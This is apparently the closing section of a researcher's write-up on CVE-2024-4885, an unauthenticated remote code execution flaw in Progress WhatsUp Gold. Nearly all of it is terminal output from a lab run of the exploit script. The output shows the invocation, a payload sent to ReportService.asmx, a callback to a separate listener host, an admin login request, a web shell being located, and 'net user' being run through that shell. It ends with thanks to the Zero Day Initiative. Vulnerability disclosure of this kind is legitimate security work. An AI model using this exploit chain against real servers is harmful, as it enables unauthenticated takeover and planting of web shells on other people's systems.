python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:1337 -f hax.aspx

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885)

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/



(^_^) Prepare for the Pwnage (^_^)

(+) Sending payload to http://192.168.0.231:9642/NmConsole/ReportService.asmx
(*) Callback server listening on http://192.168.0.181:1337
(+) Payload sent successfully
(*) Checking if target is using HTTPS or HTTP https://192.168.0.231/NmConsole/
exploit done!
(*) Target host: https://192.168.0.231
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-24.aspx
(+) Callback received
192.168.0.231 - - [06/Jul/2024 23:31:30] "GET /Session/Login/?sUsername=admin&sPassword=3,0,0,0,16,0,0,0 HTTP/1.1" 200 -
192.168.0.231 - - [06/Jul/2024 23:31:30] "PUT /api/core/render HTTP/1.1" 200 -
(*) Waiting 180s for the RecurringReport task to land...
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-25.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-26.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-27.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-28.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-29.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-30.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-31.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-32.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
(+) Web shell found at -> https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
Shell> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            debugger                 DefaultAccount
Guest                    WDAGUtilityAccount
The command completed with one or more errors.


Shell>

ZERO DAY INITIATIVE

If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Progress at all, shout out to all of you people working there to make the internet safer.

ZDI

References